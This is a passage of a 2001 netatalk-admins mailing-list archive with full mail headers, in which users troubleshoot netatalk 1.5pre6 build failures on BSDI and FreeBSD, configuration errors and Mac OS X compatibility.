	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 24 Apr 2001 19:06:25 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA17890
	for netatalk.administrators-members@umich.edu; Tue, 24 Apr 2001 19:06:24 -0400 (EDT)
Received: from howl.lonewolf.com (howl.lonewolf.com [206.181.95.161])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA17854
	for <netatalk-admins@umich.edu>; Tue, 24 Apr 2001 19:06:22 -0400 (EDT)
Received: from howl.lonewolf.com (dvk@localhost.lonewolf.com [127.0.0.1])
	by howl.lonewolf.com (8.10.1/8.10.1) with ESMTP id f3ON6Lk01180
	for <netatalk-admins@umich.edu>; Tue, 24 Apr 2001 19:06:21 -0400 (EDT)
Message-Id: <200104242306.f3ON6Lk01180@howl.lonewolf.com>
To: netatalk-admins@umich.edu
Subject: Bug in build 1.5pre6 on 4.2 BSDI
Date: Tue, 24 Apr 2001 19:06:21 -0400
From: Daniel V Klein <dvk@lonewolf.com>

I tried to build on BSDI 4.2, and it never made it past the first Makefile.
Here's what I got, the error is at the very end.  Any clues?  The relevant
makefile is attached.

netatalk-1.5pre6 % ./configure
loading cache ./config.cache
checking host system type... i386-pc-bsdi4.2
checking target system type... i386-pc-bsdi4.2
checking for a BSD compatible install... (cached) /usr/bin/install -c
checking whether build environment is sane... yes
checking whether make sets ${MAKE}... (cached) yes
checking for working aclocal... missing
checking for working autoconf... missing
checking for working automake... missing
checking for working autoheader... missing
checking for working makeinfo... found
checking for ranlib... (cached) ranlib
checking for gcc... (cached) gcc
checking whether the C compiler (gcc  ) works... yes
checking whether the C compiler (gcc  ) is a cross-compiler... no
checking whether we are using GNU C... (cached) yes
checking whether gcc accepts -g... (cached) yes
checking for ld used by GCC... (cached) /usr/bin/ld
checking if the linker (/usr/bin/ld) is GNU ld... (cached) yes
checking for BSD-compatible nm... (cached) /usr/bin/nm -p
checking whether ln -s works... (cached) yes
updating cache ./config.cache
checking for object suffix... o
checking for executable suffix... no
checking for gcc option to produce PIC... -fPIC
checking if gcc PIC flag -fPIC works... yes
checking if gcc supports -c -o file.o... yes
checking if gcc supports -c -o file.lo... yes
checking if gcc supports -fno-rtti -fno-exceptions ... yes
checking if gcc static flag -static works... -static
checking if the linker (/usr/bin/ld) is GNU ld... yes
checking whether the linker (/usr/bin/ld) supports shared libraries... yes
checking command to parse /usr/bin/nm -p output... ok
checking how to hardcode library paths into programs... immediate
checking for /usr/bin/ld option to reload object files... -r
checking dynamic linker characteristics... bsdi4.2 ld.so
checking if libtool supports shared libraries... yes

*** Warning: the command libtool uses to detect shared libraries,
*** /usr/bin/file, produces output that libtool cannot recognize.
*** The result is that libtool may fail to recognize shared libraries
*** as such.  This will affect the creation of libtool libraries that
*** depend on shared libraries, but programs linked with such libtool
*** libraries will work regardless of this problem.  Nevertheless, you
*** may want to report the problem to your system manager and/or to
*** bug-libtool@gnu.org

checking whether to build shared libraries... yes
checking whether to build static libraries... yes
checking for objdir... .libs
creating libtool
loading cache ./config.cache
checking for gawk... (cached) gawk
checking for gcc... (cached) gcc
checking whether the C compiler (gcc -g -O2 ) works... yes
checking whether the C compiler (gcc -g -O2 ) is a cross-compiler... no
checking whether we are using GNU C... (cached) yes
checking whether gcc accepts -g... (cached) yes
checking for a BSD compatible install... /usr/bin/install -c
checking whether ln -s works... (cached) yes
checking whether make sets ${MAKE}... (cached) yes
checking for object suffix... o
checking for executable suffix... no
checking for gcc option to produce PIC... -fPIC
checking if gcc PIC flag -fPIC works... yes
checking if gcc supports -c -o file.o... yes
checking if gcc supports -c -o file.lo... yes
checking if gcc supports -fno-rtti -fno-exceptions ... yes
checking if gcc static flag -static works... -static
checking if the linker (/usr/bin/ld) is GNU ld... yes
checking whether the linker (/usr/bin/ld) supports shared libraries... yes
checking command to parse /usr/bin/nm -p output... ok
checking how to hardcode library paths into programs... immediate
checking for /usr/bin/ld option to reload object files... -r
checking dynamic linker characteristics... bsdi4.2 ld.so
checking if libtool supports shared libraries... yes

*** Warning: the command libtool uses to detect shared libraries,
*** /usr/bin/file, produces output that libtool cannot recognize.
*** The result is that libtool may fail to recognize shared libraries
*** as such.  This will affect the creation of libtool libraries that
*** depend on shared libraries, but programs linked with such libtool
*** libraries will work regardless of this problem.  Nevertheless, you
*** may want to report the problem to your system manager and/or to
*** bug-libtool@gnu.org

checking whether to build shared libraries... yes
checking whether to build static libraries... yes
checking for objdir... .libs
creating libtool
loading cache ./config.cache
checking for main in -labs... (cached) no
checking for main in -laudit... (cached) no
checking for main in -lauth... (cached) no
checking for main in -lcmd... (cached) no
checking for main in -lcom_err... (cached) no
checking for main in -lcrypt... (cached) no
checking for main in -ld... (cached) no
checking for main in -ldb... (cached) no
checking for main in -ldl... (cached) yes
checking for main in -lkauth... (cached) no
checking for main in -lkrb... (cached) yes
checking for main in -llwp... (cached) no
checking for main in -ln... (cached) no
checking for main in -lnsl... (cached) no
checking for main in -lprot... (cached) no
checking for main in -lresolv... (cached) no
checking for main in -lrpcsvc... (cached) yes
checking for main in -lrx... (cached) no
checking for main in -lrxkad... (cached) no
checking for main in -lsocket... (cached) no
checking for main in -lsys... (cached) no
checking for main in -lubik... (cached) no
checking for access... (cached) yes
checking for dirent.h that defines DIR... (cached) yes
checking for opendir in -ldir... (cached) no
checking how to run the C preprocessor... (cached) gcc -E
checking for ANSI C header files... (cached) yes
checking for sys/wait.h that is POSIX.1 compatible... (cached) yes
checking for fcntl.h... (cached) yes
checking for limits.h... (cached) yes
checking for stdint.h... (cached) no
checking for strings.h... (cached) yes
checking for sys/fcntl.h... (cached) yes
checking for sys/file.h... (cached) yes
checking for sys/ioctl.h... (cached) yes
checking for sys/time.h... (cached) yes
checking for syslog.h... (cached) yes
checking for unistd.h... (cached) yes
checking for termios.h... (cached) yes
checking for sys/termios.h... (cached) yes
checking for netdb.h... (cached) yes
checking for sgtty.h... (cached) yes
checking for sys/cdefs.h... (cached) yes
checking for working const... (cached) yes
checking for uid_t in sys/types.h... (cached) yes
checking for inline... (cached) inline
checking for mode_t... (cached) yes
checking for off_t... (cached) yes
checking for pid_t... (cached) yes
checking for size_t... (cached) yes
checking for st_rdev in struct stat... (cached) yes
checking whether time.h and sys/time.h may both be included... (cached) yes
checking whether struct tm is in sys/time.h or time.h... (cached) time.h
checking type of array argument to getgroups... (cached) gid_t
checking whether gcc needs -traditional... (cached) no
checking for 8-bit clean memcmp... (cached) yes
checking whether sys/types.h defines makedev... (cached) yes
checking for unistd.h... (cached) yes
checking for getpagesize... (cached) yes
checking for working mmap... (cached) yes
checking return type of signal handlers... (cached) void
checking whether utime accepts a null argument... (cached) yes
checking for wait3 that fills in rusage... (cached) yes
checking for getcwd... (cached) yes
checking for gethostname... (cached) yes
checking for gettimeofday... (cached) yes
checking for getusershell... (cached) yes
checking for mkdir... (cached) yes
checking for rmdir... (cached) yes
checking for select... (cached) yes
checking for socket... (cached) yes
checking for strdup... (cached) yes
checking for strstr... (cached) yes
checking for strtoul... (cached) yes
checking for setpgrp... (cached) yes
checking whether setpgrp takes no argument... (cached) no
checking for pam_start in -lpam... (cached) no
setting configuration files location to NONE/etc
./configure: AUTHORS: permission denied
creating ./config.status
creating Makefile
creating bin/Makefile
creating bin/adv1tov2/Makefile
creating bin/aecho/Makefile
creating bin/afile/Makefile
creating bin/afppasswd/Makefile
creating bin/getzones/Makefile
creating bin/megatron/Makefile
creating bin/nbp/Makefile
creating bin/pap/Makefile
creating bin/psorder/Makefile
creating config/Makefile
creating contrib/Makefile
creating contrib/nu/Makefile
creating contrib/printing/Makefile
creating contrib/shell_utils/Makefile
creating contrib/timelord/Makefile
creating distrib/Makefile
creating distrib/config/Makefile
creating distrib/config/netatalk-config
creating distrib/initscripts/Makefile
creating distrib/m4/Makefile
creating doc/Makefile
creating etc/Makefile
creating etc/afpd/Makefile
creating etc/afpd/nls/Makefile
creating etc/atalkd/Makefile
creating etc/uams/Makefile
creating etc/uams/uams_krb4/Makefile
creating etc/papd/Makefile
creating etc/psf/Makefile
creating include/Makefile
creating include/atalk/Makefile
creating libatalk/Makefile
creating libatalk/adouble/Makefile
creating libatalk/asp/Makefile
creating libatalk/atp/Makefile
creating libatalk/compat/Makefile
creating libatalk/dsi/Makefile
creating libatalk/nbp/Makefile
creating libatalk/netddp/Makefile
creating libatalk/util/Makefile
creating man/Makefile
creating man/man1/Makefile
creating man/man3/Makefile
creating man/man4/Makefile
creating man/man5/Makefile
creating man/man8/Makefile
creating sys/Makefile
creating sys/netatalk/Makefile
creating config.h
config.h is unchanged
netatalk-1.5pre6 % make
make  all-recursive
Making all in libatalk
"Makefile", line 317: Need an operator
Fatal errors encountered -- cannot continue
*** Error code 1

Stop.
*** Error code 1

Stop.

From netatalk.administrators-errors@umich.edu  Tue Apr 24 19:40:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA17285
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 24 Apr 2001 19:40:04 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA03708
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 24 Apr 2001 19:40:04 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA03694
	for netatalk.administrators-members@umich.edu; Tue, 24 Apr 2001 19:40:03 -0400 (EDT)
Received: from mail.id-inc.com ([208.186.174.81])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA03678
	for <netatalk-admins@umich.edu>; Tue, 24 Apr 2001 19:40:02 -0400 (EDT)
Received: from [192.168.94.68] (192.168.94.68) by mail.id-inc.com with
 ESMTP (Eudora Internet Mail Server 3.0); Tue, 24 Apr 2001 16:40:13 -0700
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 24 Apr 2001 16:40:14 -0700
Subject: Re: Macromedia write problem
From: charlie wood <charlie@id-inc.com>
To: jeff <jeff@univrel.pr.uconn.edu>
CC: <netatalk-admins@umich.edu>
Message-ID: <B70B5CEE.2BF8%charlie@id-inc.com>
In-Reply-To: <3AE5CDBF.701FC3FA@univrel.pr.uconn.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I've had problems building 1.5pre6 in FreeBSD 4.2.
Anyone else have any ideas? Anyone actually had this problem?

</charlie>


-------original message-------

> From: jeff <jeff@univrel.pr.uconn.edu>
> Date: Tue, 24 Apr 2001 15:02:23 -0400
> To: charlie wood <charlie@id-inc.com>
> Cc: netatalk-admins@umich.edu
> Subject: Re: Macromedia write problem
> 
> charlie wood wrote:
>> 
>> Hi folks. Just found this list. Great info! Thanks to all the contributors!
>> 
>> Has anyone run across a creator code problem (and a resulting Error -50, and
>> write failure) when writing Macromedia Director and Flash projector files
>> (not the native .swf and .dir files) from Mac (PPC G4 w/ OS 9.0.4) to a
>> Linux server (Red Hat 6.2 running 1.4b2+asun2.1.1)?
>> 
>> I'm about to move this whole operation from Linux to FreeBSD 4.2, and I'd
>> like to get this squared away before I port the whole shop over.
>> 
>> Any ideas anyone?
> 
> Try a newer version of netatalk. 1.4b2+asun2.1.1 is pretty ancient. The
> latest stable version is 1.5pre6, at http://netatalk.sourceforge.net/
> 
> Thanks,
> jeff


From netatalk.administrators-errors@umich.edu  Tue Apr 24 19:56:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA17641
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 24 Apr 2001 19:56:43 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA16483
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 24 Apr 2001 19:56:35 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA16460
	for netatalk.administrators-members@umich.edu; Tue, 24 Apr 2001 19:56:34 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id TAA16432
	for <netatalk-admins@umich.edu>; Tue, 24 Apr 2001 19:56:33 -0400 (EDT)
Received: (qmail 14520 invoked by alias); 24 Apr 2001 23:56:44 -0000
Received: (qmail 14508 invoked by uid 0); 24 Apr 2001 23:56:44 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 24 Apr 2001 23:56:44 -0000
Subject: Re: Macromedia write problem
From: Matthew Keller <kellermg@potsdam.edu>
To: charlie wood <charlie@id-inc.com>
Cc: netatalk-admins@umich.edu
In-Reply-To: <B70B01BE.2BBE%charlie@id-inc.com>
References: <B70B01BE.2BBE%charlie@id-inc.com>
Content-Type: text/plain
X-Mailer: Evolution/0.10+cvs.2001.04.11.08.00 (Preview Release)
Date: 24 Apr 2001 19:56:35 -0400
Message-Id: <988156595.15273.1.camel@comp10574.potsdam.edu>
Mime-Version: 1.0

On 24 Apr 2001 10:11:11 -0700, charlie wood wrote:
> Red Hat 6.2 running 1.4b2+asun2.1.1)?

    Upgrade Netatalk. If you want to stay w/in the 1.4B2 tree, then
    1.4B2+asun2.1.4 (2.1.3 at the least) is recommened.

> I'm about to move this whole operation from Linux to FreeBSD 4.2

    I don't know whether to say "I'm sorry" or "best of luck"... ;)

-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Tue Apr 24 21:03:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA20805
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 24 Apr 2001 21:03:51 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA22831
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 24 Apr 2001 21:03:51 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA22815
	for netatalk.administrators-members@umich.edu; Tue, 24 Apr 2001 21:03:50 -0400 (EDT)
Received: from mail.mathit.co.jp (dns.mathit.co.jp [211.124.215.50])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA22764
	for <netatalk-admins@umich.edu>; Tue, 24 Apr 2001 21:03:49 -0400 (EDT)
Received: from [192.168.1.102] (mt266.mathit.co.jp [192.168.1.102])
	by mail.mathit.co.jp (Postfix) with ESMTP id CBB049E
	for <netatalk-admins@umich.edu>; Wed, 25 Apr 2001 10:03:47 +0900 (JST)
Mime-Version: 1.0
X-Sender: hitoshi@192.168.1.10
X-Mailer: Macintosh Eudora Version 4.3.2-J
Message-Id: <a04320402b70bd20d176a@[192.168.1.102]>
In-Reply-To: <3AE57989.34FEB61@univrel.pr.uconn.edu>
References: <v04220804b545c543adf2@[132.166.18.209]>
 <a04320403b70aeb75ebbf@[192.168.1.102]>
 <3AE57989.34FEB61@univrel.pr.uconn.edu>
Date: Wed, 25 Apr 2001 10:03:46 +0900
To: netatalk-admins@umich.edu
From: MATSUDA Hitoshi <hitoshi@mathit.co.jp>
Subject: Re: "uam: uam not found" error
Content-Type: text/plain; charset="us-ascii"

Hello,

I found its solution from previous thread.
I configured with --with-config-dir=/usr/local/etc/atalk. Then everything
was fine.


Thank you.

MATSUDA Hitoshi

At 9:03 AM -0400 01.4.24, jeff wrote:
>MATSUDA Hitoshi wrote:
>> I installed 1.5pre6 into RedHat Linux 6.2.
>> I copied configuration files into /etc/atalk because, "make install"
>> did not make them. Also, I copied uam modules into /etc/atalk/uams
>> manually. pam files copied into /etc/pam.d.
>>
>> When startup, afpd says following messages.
>>
>>         Apr 24 17:28:07 ld-s afpd[1256]: uam: uam not found (status=-1)
>>
>> Could you show me what is problem.
>
>What do your /etc/atalk/netatalk.conf and /etc/atalk/afpd.conf files
>look like?
>
>(Also, I believe that the RPM is built for Redhat 7, which may be
>causing some of your problems.)
>
>jeff


From netatalk.administrators-errors@umich.edu  Tue Apr 24 22:53:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA23675
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 24 Apr 2001 22:53:05 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA04426
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 24 Apr 2001 22:52:56 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA04413
	for netatalk.administrators-members@umich.edu; Tue, 24 Apr 2001 22:52:56 -0400 (EDT)
Received: from local (customer-host-145.yellowspace.net [213.183.5.145])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id WAA04360
	for <Netatalk-Admins@umich.edu>; Tue, 24 Apr 2001 22:52:54 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by local (Stalker SMTP Server 1.7) with ESMTP id S.0000067601 for <Netatalk-Admins@umich.edu>; Wed, 25 Apr 2001 04:48:06 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net (Unverified)
Message-Id: <a04310101b70bd87a5315@[192.168.1.201]>
In-Reply-To: <987369845.13953.1.camel@comp10574.potsdam.edu>
References: <Pine.GSO.4.31.0104151037500.5613-100000@math.ohio-state.edu>
 <987369845.13953.1.camel@comp10574.potsdam.edu>
Date: Wed, 25 Apr 2001 04:49:19 +0200
To: Netatalk-Admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: netatalk 1.5p6, OS X 10.0.1, OS 9...
Content-Type: text/plain; charset="us-ascii"

Hi,

I succesfully got netatalk 1.5pre6 to work with my SuSE 6.3 box, thanks to MacConin for the /etc/pam.d/netatalk trick on SuSE, and to ./configure --with-pam --with-shadow --enable-suse --with-flock-locks --with-config-dir=/etc/atalk.
To work, I mean it _looks like_ the best version _working fine_ with OS 9 until now. 

-[In our case, _fine_ means: fair speed in transfers of thousands of small files and dirs;  opening/saving big image files on the server;  opening/saving text files;  succesful use of GoLive's site features (a hard test, I know...;); use of FileMaker files; with a lower priority, but still important: succesful launching of applications from the server; succesful mounting and use of images (.smis and .imgs and .dimgs). 
The first are the tests that I usually perform after a new build. Apps and Images follow if the first pass. When I want to be really evil, I also try to open MS Office files on the server ;)]-

1.5p6 passed all tests with OS 9 (still testing for reliability and with more clients, though)... but OSX is still cut out of the sourceforge tree... or did anyone get it to work any 1.5pX reliably?

After compiling different versions on different platforms, it came out, in my cases, that:

only netatalk 1.4b2+asun2.1.4pre37_test (with -DUSE-FLOCK-LOCKS) gives the impression to work with OSX (few errors, succesful transfers...), but then causes sooner or later Darwin to panic. On the other hand, my OS9 clients keep freezing and caughing with the asun builds....

all sourceforge netatalk versions I tried (and some newer asun builds) rarely caused Darwin to panic, login was possible (some _only_ thanks to the trick of using -loginmesg "something"  in afpd.conf), but then they caused OSX to display a lot of Error -43's, sometimes -50, and one time 8021. 

netatalk 1.5pre6 behaves the same with OSX (-43s), except that with --enable-lastdid did files where transferred partially (even if the error message was displayed in the osx finder).

and 1.5pre6  still causes the

afpd[xxx]: setdirowner: chown -1/0
.AppleDouble/.Parent: Operation not permitted

messages noticed recently...
(when used with _OS 9_ - I couldn't get it to happen with an OSX client)

One strange thing of these messages: they seem to assume that afpd is running as root, as noticed by M.K. - I've seen this happening only with netatalk1.5pre3 on LinuxPPC 2000 Q4: All afpd processes were running as root, but the users still got their correct access rights to the share folders (note: no admingroup, plain users).
I also noticed that that was the only combination of Linux+NetAtalk which transfered very fast also directories with thousands of files and subdirs: > 5MB/sec on a PMac G3 DT/266, while others don't get over 1-2-3 MB/s.
Where can this (root/nonroot) be set? Is it set by --enable-redhat (which I used for LPPC)?

...hope this post helps...

please keep it going, you're doing a good work on the sourceforge project, I believe - but pleeeease let us netatalkers enjoy OSX soon ... ;)

:-|


LP

From netatalk.administrators-errors@umich.edu  Tue Apr 24 23:55:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA26134
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 24 Apr 2001 23:55:05 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA00885
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 24 Apr 2001 23:54:57 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA00874
	for netatalk.administrators-members@umich.edu; Tue, 24 Apr 2001 23:54:57 -0400 (EDT)
Received: from smart.visp-europe.psi.com (smart.visp-europe.psi.com [212.222.105.5])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA00844
	for <netatalk-admins@umich.edu>; Tue, 24 Apr 2001 23:54:55 -0400 (EDT)
Received: from ns11-n67-112.de.inter.net ([213.73.67.112] helo=athlet.deltaman.de)
	by smart.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14sGOM-0004VO-00
	for netatalk-admins@umich.edu; Wed, 25 Apr 2001 05:55:02 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id FAA28955
	for <netatalk-admins@umich.edu>; Wed, 25 Apr 2001 05:50:09 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: Bug in build 1.5pre6 on 4.2 BSDI
Date: Wed, 25 Apr 2001 05:42:00 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <200104242306.f3ON6Lk01180@howl.lonewolf.com>
In-Reply-To: <200104242306.f3ON6Lk01180@howl.lonewolf.com>
MIME-Version: 1.0
Message-Id: <01042505500900.26852@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id XAA26134

On Wed, 25 Apr 2001, Daniel V Klein wrote:
> I tried to build on BSDI 4.2, and it never made it past the first Makefile.
> Here's what I got, the error is at the very end.  Any clues?  The relevant
> makefile is attached.

Where was it attached? :-)

<snip>
> netatalk-1.5pre6 % make
> make  all-recursive
> Making all in libatalk
> "Makefile", line 317: Need an operator
> Fatal errors encountered -- cannot continue
> *** Error code 1
> 
> Stop.
> *** Error code 1
> 
> Stop.

What "make" do you use?
What I heard is that netatalk definitely needs GNU Make!
Try to get a recent version!

You probably want to update your libtool, too!?

Kind regards

	Carsten

From netatalk.administrators-errors@umich.edu  Wed Apr 25 01:29:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA28429
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 25 Apr 2001 01:29:39 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA09471
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 25 Apr 2001 01:29:31 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA09451
	for netatalk.administrators-members@umich.edu; Wed, 25 Apr 2001 01:29:31 -0400 (EDT)
Received: from titan.ols.com (titan.ols.com [207.112.223.10])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id BAA09432
	for <netatalk-admins@umich.edu>; Wed, 25 Apr 2001 01:29:30 -0400 (EDT)
Received: from mail.ols.com (metro1-d32.ols.com [207.112.223.102])
	by titan.ols.com (8.9.3/8.9.3) with SMTP id AAA94389
	for <netatalk-admins@umich.edu>; Wed, 25 Apr 2001 00:27:44 -0500 (CDT)
	(envelope-from bsewell@ols.com)
Date: Wed, 25 Apr 2001 00:28:49 -0500
From: Brandon Sewell <bsewell@ols.com>
To: netatalk-admins@umich.edu
Subject: unsubscribe
Message-ID: <20010425002849.A12561@bess>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Mailer: Balsa 1.0.0
Lines: 1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id BAA28429




From netatalk.administrators-errors@umich.edu  Wed Apr 25 06:33:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA05800
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 25 Apr 2001 06:33:55 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA04637
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 25 Apr 2001 06:33:47 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA04629
	for netatalk.administrators-members@umich.edu; Wed, 25 Apr 2001 06:33:46 -0400 (EDT)
Received: from vulcan.borgspace.alpha ([213.97.106.73])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA04607
	for <netatalk-admins@umich.edu>; Wed, 25 Apr 2001 06:33:45 -0400 (EDT)
Received: from localhost (tangy.borgspace.alpha [10.0.0.3])
	by vulcan.borgspace.alpha (8.11.1/8.11.1) with ESMTP id f3PATFZ51154;
	Wed, 25 Apr 2001 12:29:16 +0200 (CEST)
	(envelope-from jasonq@mac.com)
Message-Id: <200104251029.f3PATFZ51154@vulcan.borgspace.alpha>
Date: Wed, 25 Apr 2001 12:33:38 +0200
From: Jason Quigley <jasonq@mac.com>
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
Subject: Re: Macromedia write problem
Cc: jeff <jeff@univrel.pr.uconn.edu>, <netatalk-admins@umich.edu>
To: charlie wood <charlie@id-inc.com>
X-Mailer: Apple Mail (2.387)
In-Reply-To: <B70B5CEE.2BF8%charlie@id-inc.com>
Mime-Version: 1.0 (Apple Message framework v387)
Content-Transfer-Encoding: 7bit

What problems are you getting?

On Wednesday, April 25, 2001, at 01:40  am, charlie wood wrote:

> I've had problems building 1.5pre6 in FreeBSD 4.2.
> Anyone else have any ideas? Anyone actually had this problem?
>
> </charlie>
>

From netatalk.administrators-errors@umich.edu  Wed Apr 25 06:37:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA05865
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 25 Apr 2001 06:37:38 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA20952
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 25 Apr 2001 06:37:38 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA20935
	for netatalk.administrators-members@umich.edu; Wed, 25 Apr 2001 06:37:37 -0400 (EDT)
Received: from vulcan.borgspace.alpha ([213.97.106.73])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA20890
	for <netatalk-admins@umich.edu>; Wed, 25 Apr 2001 06:37:35 -0400 (EDT)
Received: from localhost (tangy.borgspace.alpha [10.0.0.3])
	by vulcan.borgspace.alpha (8.11.1/8.11.1) with ESMTP id f3PAXCZ51171
	for <netatalk-admins@umich.edu>; Wed, 25 Apr 2001 12:33:12 +0200 (CEST)
	(envelope-from jasonq@mac.com)
Message-Id: <200104251033.f3PAXCZ51171@vulcan.borgspace.alpha>
Date: Wed, 25 Apr 2001 12:37:34 +0200
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
X-Mailer: Apple Mail (2.387)
From: Jason Quigley <jasonq@mac.com>
To: netatalk-admins@umich.edu
Mime-Version: 1.0 (Apple Message framework v387)
In-Reply-To: <01042505500900.26852@athlet>
Subject: Re: Bug in build 1.5pre6 on 4.2 BSDI
Content-Transfer-Encoding: 7bit

Hi!

You *definitely* need to use gmake on FreeBSD 4.2.

I have:

